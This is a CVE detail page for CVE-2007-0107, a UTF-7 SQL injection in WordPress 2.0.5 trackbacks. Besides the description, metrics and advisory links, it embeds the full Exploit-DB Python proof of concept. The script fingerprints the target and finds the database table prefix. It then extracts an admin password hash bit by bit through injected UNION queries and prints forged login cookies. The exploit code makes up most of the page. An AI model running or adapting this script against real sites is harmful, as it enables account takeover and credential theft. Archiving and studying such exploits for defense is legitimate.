CVE-2007-0107 : Detail

CVE-2007-0107

1.18%V3
Network
2007-01-08
23h00 +00:00
2018-10-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

WordPress before 2.0.6, when mbstring is enabled for PHP, decodes alternate character sets after escaping the SQL query, which allows remote attackers to bypass SQL injection protection schemes and execute arbitrary SQL commands via multibyte charsets, as demonstrated using UTF-7.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3095

Publication date : 2007-01-06 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

#!/usr/bin/python ####################################################################### # _ _ _ _ ___ _ _ ___ # | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ # | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ # |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| # ####################################################################### # Proof of concept code from the Hardened-PHP Project # # NOT FOR DISTRIBUTION # PLEASE DO NOT SPREAD THIS CODE # ####################################################################### # # -= Wordpress 2.0.5 =- # Trackback UTF-7 SQL injection exploit # # beware of encoded single-quotes # ####################################################################### import urllib import getopt import sys import string import re import time import datetime import md5 __argv__ = sys.argv def banner(): print "Wordpress 2.0.5 - Trackback UTF-7 SQL injection exploit" print "Copyright (C) 2006 Stefan Esser/Hardened-PHP Project" print " *** DO NOT DISTRIBUTE ***\n" def usage(): banner() print "Usage:\n" print " $ ./wordpressx.py [options]\n" print " -h http_url url of the Wordpress blog" print " f.e. http://www.wordpress.org/development/" print " -p id id of posting to exploit trackback (default: 1)" print " -i id User id to steal password hash for(default: -1)" print " -u username username to steal password hash for (default: ...)" print "" sys.exit(-1) def determineCookieHash(host): wclient = urllib.URLopener() print "[+] Connecting to retrieve cookie hash" try: req = wclient.open(host + "/wp-login.php?action=logout") except IOError, e: if e[1] == 302: # Got a 302 redirect, but check for cookies before redirecting. # e[3] is a httplib.HTTPMessage instance. if e[3].dict.has_key('set-cookie'): cookie = e[3].dict['set-cookie']; chash = cookie[string.find(cookie, "user_")+5:] chash = chash[:string.find(chash, "=")] print "[+] Cookie hash found: %s" % chash return chash print "[-] Unable to retrieve cookie... something is wrong" sys.exit(-3) return "" def determineIsMbstringInstalled(host, pid): wclient = urllib.URLopener() print "[+] Connecting to check if mbstring is installed" params = { 'charset' : 'UTF-7', 'title' : '+ADA-' } try: req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params)) except IOError, e: if e[1] == 302: print "[+] ext/mbstring is installed. continue with exploit" return 1 content = req.read() if string.find(content, 'error>1</error>') != -1: print "[-] Illegal posting id choosen, test impossible" sys.exit(-2) print "[-] ext/mbstring not installed... exploit not possible" sys.exit(-2) return 0 def determineTablePrefix(host, pid): wclient = urllib.URLopener() print "[+] Connecting to determine mysql table prefix" params = { 'charset' : 'UTF-7', 'title' : 'None', 'url' : 'None', 'excerpt' : 'None', 'blog_name' : '+ACc-ILLEGAL' } try: req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params)) except IOError, e: if e[1] == 302: print "[-] Table prefix cannot be determined... exploit not possible" sys.exit(-2) return "" content = req.read() f = re.search('FROM (.*)comments WHERE', content) if f != None: prefix = f.group(1) print "[+] Table prefix is: %s" % prefix return prefix print "[-] Table prefix cannot be determined... exploit not possible" sys.exit(-2) return "" def lockTrackbacks(host, pid): now = datetime.datetime.utcnow() now = now.replace(microsecond = 0) future = now + datetime.timedelta(days=1) future = future.replace(microsecond = 0) wclient = urllib.URLopener() print "[+] Connecting to lock trackbacks" author = "Mark Mouse" author_email = "[email protected]" author_url = "" author_ip = "210.35.2.3" agent = "Internet Explorer" futuredate = future.isoformat(' ') futuredate_gmt = future.isoformat(' ') date = now.isoformat(' ') date_gmt = now.isoformat(' ') sql = "%s','%s','%s','%s','%s','%s','','0','%s','comment','0','0'),('0', '', '', '', '', '%s', '%s', '', 'spam', '', 'comment', '0','0' ) /*" % \ ( author , author_email , author_url , author_ip , date , date_gmt , agent, futuredate, futuredate_gmt ) sql = string.replace(sql, "'", "+ACc-") params = { 'charset' : 'UTF-7', 'title' : 'None', 'url' : 'None', 'excerpt' : 'None', 'blog_name' : sql } try: req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params)) except IOError, e: if e[1] == 302: print "[-] Table prefix cannot be determined... exploit not possible" sys.exit(-2) return "" content = req.read() return "" def checkUsername(host, pid, prefix, name, uid): wclient = urllib.URLopener() print "[+] Connecting to check if user %s is present" % name if uid != -1: sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE ID='%s' /*" % (prefix, uid) else: sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE user_login='%s' /*" % (prefix, name) sql = string.replace(sql, "'", "+ACc-") params = { 'charset' : 'UTF-7', 'title' : 'None', 'url' : 'None', 'excerpt' : 'None', 'blog_name' : sql } req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params)) content = req.read() if string.find(content, 'Duplicate') != -1: return 1 if string.find(content, 'Doppelter') != -1: return 1 if uid != -1: print "[-] Error user_id invalid" else: print "[-] Error username invalid" sys.exit(-2) return 0 def bruteforceBit(host, pid, prefix, name, uid, bit): wclient = urllib.URLopener() nibble = (bit / 4) + 1 bit = (bit % 4) + 1 sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE " % prefix if uid != -1: sql = sql + "ID='%s'" % uid else: sql = sql + "user_login='%s'" % name sql = sql + " and substring(reverse(lpad(conv(substring(user_pass, %d,1), 16, 2),4,'0')),%d,1)='1' /*" % (nibble, bit) sql = string.replace(sql, "'", "+ACc-") params = { 'charset' : 'UTF-7', 'title' : 'None', 'url' : 'None', 'excerpt' : 'None', 'blog_name' : sql } req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params)) content = req.read() if string.find(content, '15 seconds') != -1: return 0 if string.find(content, '15 Sekunden') != -1: return 0 if string.find(content, 'Duplicate') != -1: return 1 if string.find(content, 'Doppelter') != -1: return 1 print "[-] Error retrieving password hash: unexpected reply at bit %d" % bit sys.exit(-2) return "" def bruteforce(host, pid, prefix, name, uid): phash = "" print "[+] Retrieving the password hash bit by bit" for i in range(32): nibble = 0 for j in range(4): nibble = nibble | (bruteforceBit(host, pid, prefix, name, uid, i*4+j) << j) phash = phash + "%x" % nibble return phash def main(): try: opts, args = getopt.getopt(sys.argv[1:], "h:i:u:p:e:d:") except getopt.GetoptError: usage() if len(__argv__) < 2: usage() username = 'admin' password = None email = None domain = None host = None pid = 1 uid = -1 for o, arg in opts: if o == "-h": host = arg if o == "-p": pid = arg if o == "-i": uid = arg if o == "-u": username = arg if o == "-e": email = arg if o == "-d": domain = arg # Printout banner banner() # Check if everything we need is there if host == None: print "[-] need a host to connect to" sys.exit(-1) # if username == None: # print "[-] username needed to continue" # sys.exit(-1) # if password == None: # print "[-] password needed to continue" # sys.exit(-1) # if email == None: # print "[-] email address needed to continue" # sys.exit(-1) # if domain == None: # print "[-] catch all domain needed to continue" # sys.exit(-1) determineIsMbstringInstalled(host, pid) chash = determineCookieHash(host) lockTrackbacks(host, pid) prefix = determineTablePrefix(host, pid) checkUsername(host, pid, prefix, username, uid) phash = bruteforce(host, pid, prefix, username, uid) print "[+] Done..." print " The password hash is %s" % phash m = md5.new() m.update(phash) cphash = m.hexdigest() print " The logincookies are:" print " wordpressuser_%s=%s" % (chash, username) print " wordpresspass_%s=%s" % (chash, cphash) if __name__ == "__main__": main() # milw0rm.com [2007-01-07]

Products Mentioned

Configuraton 0

Wordpress>>Wordpress >> Version To (including) 2.0.5

References

http://www.securityfocus.com/bid/21907
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/23741
Tags : third-party-advisory, x_refsource_SECUNIA
http://security.gentoo.org/glsa/glsa-200701-10.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://osvdb.org/31579
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/23595
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/0061
Tags : vdb-entry, x_refsource_VUPEN
http://securityreason.com/securityalert/2112
Tags : third-party-advisory, x_refsource_SREASON